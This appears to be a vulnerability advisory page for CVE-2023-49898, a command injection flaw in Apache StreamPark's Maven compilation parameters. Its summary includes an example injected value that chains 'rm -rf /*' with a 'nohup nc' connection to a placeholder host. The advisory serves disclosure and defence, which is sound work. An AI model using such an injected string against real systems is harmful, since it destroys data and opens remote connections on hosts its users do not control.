Skip to main content

Improper Neutralization of Special Elements used in a Command ('Command Injection')

CVE-2023-49898

High
7.2/10

Summary

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous opaeration command. Therefore, the risk level of this vulnerability is very low. Example: You can customize the splicing method according to the compilation situation of the project, mvn compilation results use "&&", compilation failure use "||" or "&&": "/usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 & ." This vulnerability affecs org.apache.streampark:streampark package versions 2.0.0-rc1 through 2.1.1.

  • LOW
  • NETWORK
  • HIGH
  • UNCHANGED
  • NONE
  • HIGH
  • HIGH
  • HIGH

CWE-77 - Command Injection

A command injection attack involves injecting an operating system command through the data input, which gets executed on the host operating system with the privileges of the victimized application. The impact of a command injection attack may range from loss of data confidentiality and integrity to unauthorized remote access to the hosting system. The attack may cause serious data breaches and system takeover.

References

Advisory Timeline

  • Published